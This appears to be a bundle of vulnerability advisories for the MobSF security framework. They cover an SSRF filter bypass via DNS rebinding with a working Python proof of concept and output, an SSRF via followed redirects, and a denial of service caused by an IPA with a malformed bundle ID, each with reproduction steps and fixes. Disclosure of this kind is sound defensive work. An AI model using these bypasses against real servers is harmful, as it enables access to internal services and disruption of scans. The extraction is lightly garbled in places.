Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call validhost(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

python def validhost(host): """Check if host is valid.""" try: prefixs = ('http://', 'https://') if not host.startswith(prefixs): host = f'http://{host}' parsed = urlparse(host) domain = parsed.netloc path = parsed.path if len(domain) == 0: # No valid domain return False, None if len(path) > 0: # Only host is allowed return False, None if ':' in domain: # IPv6 return False, None # Local network invalidprefix = ( '100.64.', '127.', '192.', '198.', '10.', '172.', '169.', '0.', '203.0.', '224.0.', '240.0', '255.255.', 'localhost', '::1', '64::ff9b::', '100::', '2001::', '2002::', 'fc00::', 'fe80::', 'ff00::') if domain.startswith(invalidprefix): return False, None ip = socket.gethostbyname(domain) if ip.startswith(invalidprefix): # Resolve dns to get IP return False, None return True, ip except Exception: return False, None

import random import time import socket from urllib.parse import urlparse

if name == 'main': print("Generating random host ...", end=' ') prefix = random.randint(999999, 9999999) host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms" print("Done") print(f"Testing with '{host}' ... ", end=" ") valid, ip = validhost(host) if valid: print(f"Successful Bypass") print(f" - Host initially resolved to: {ip}") print("Sleeping for 1 second ...") time.sleep(1) print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}") print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}") print("Sleeping for 30 seconds ...") time.sleep(30) else: print(f"Invalid host")

Yields :

$ python3 poc.py Generating random host ... Done Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ... Successful Bypass - Host initially resolved to: 1.1.1.1 Sleeping for 1 second ... - Second use host will be resolved to: 127.0.0.1 - Third use host will be resolved to: 127.0.0.1 Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

- Avoid the use of socket.gethostbyname() since it issues and DNS query.

Summary The fix for the "SSRF Vulnerability on assetlinkscheck(actname, wellknowns)" vulnerability could potentially be bypassed.

Details Since the requests.get() request in the checkurl method is specified as allowredirects=True, if "https://mydomain.com/.well-known/assetlinks.json" returns a 302 redirect, subsequent requests will be sent automatically. If the redirect location is "http://192.168.1.102/user/delete/1", a request will be sent here as well.

<img width="610" alt="image" src="https://github.com/MobSF/Mobile-Security-Framework-MobSF/assets/150332295/a8c9630e-3d12-441a-816c-8f5e427a5194">

It will be safer to use allowredirects=False.

Impact The attacker can cause the server to make a connection to internal-only services within the organization's infrastructure.

Partial Denial of Service (DoS)

Product: MobSF Version: v4.2.9 CWE-ID: CWE-1287: Improper Validation of Specified Type of Input CVSS vector v.4.0: 6.9 (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) CVSS vector v.3.1: 6.5 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H) Description: DoS in the Scans Results and iOS Dynamic Analyzer functionality Impact: Leveraging this vulnerability would make Scans Results and iOS Dynamic Analyzer pages unavailable. Vulnerable component: urls.py https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/MobSF/urls.py#L401 Exploitation conditions: A malicious application was uploaded to the MobSF. Mitigation: Check the uploaded bundle IDs against the regex. Researcher: Oleg Surnin (Positive Technologies)

Research

Researcher discovered zero-day vulnerability Partial Denial of Service (DoS) in MobSF in the Scans Results and iOS Dynamic Analyzer functionality. According to Apple's documentation for bundle ID's, it must contain only alphanumeric characters (A–Z, a–z, and 0–9), hyphens (-), and periods (.). (https://developer.apple.com/documentation/bundleresources/information-property-list/cfbundleidentifier) However, an attacker can manually modify this value in Info.plist file and add special characters to the <key>CFBundleIdentifier</key> value. In the urls.py file URL rules are defined. https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/d1d3b7a9aeb1a8c8c7c229a3455b19ade9fa8fe0/mobsf/MobSF/urls.py#L401

Listing 3. bundleidregex = r'(?P<bundleid>([a-zA-Z0-9]{1}[\w.-]{1,255}))$'

skip code repath(fr'^ios/viewreport/{bundleidregex}', iosviewreport.ç, name='iosviewreport'),

When the application parses the wrong characters in the bundle ID, it encounters an error. As a result, it will not display content and will throw a 500 error instead. The only way to make the pages work again is to manually remove the malicious application from the system.

Vulnerability reproduction

To reproduce the vulnerability, follow the steps described below.

• Unzip the IPA file of any iOS application.

Listing 4. Unzipping the file unzip test.ipa

• Modify the value of <key>CFBundleIdentifier</key> by adding restricted characters in the Info.plist file.

<img width="364" alt="image-6" src="https://github.com/user-attachments/assets/97dce68a-a5e2-4048-b5c8-3090146a9635" />

Figure 7. Example with ' character

• Zip the modified IPA file.

Listing 5. Zipping the file zip -r dos.ipa Payload/

• Upload the modified IPA file to Static Analysis and wait until it finished • Open the following pages: http://mobsf/recentscans/ http://mobsf/ios/dynamicanalysis/

<img width="1119" alt="image-7" src="https://github.com/user-attachments/assets/a7a9ae2e-cd84-4ec8-8132-25140a209ca0" />

Figure 8. DoS Example

<img width="1141" alt="image-8" src="https://github.com/user-attachments/assets/a76e03ae-b4c6-4003-a145-c1fa4c88a7a5" /> Figure 9. DoS Example

Please, assign all credits to Oleg Surnin (Positive Technologies)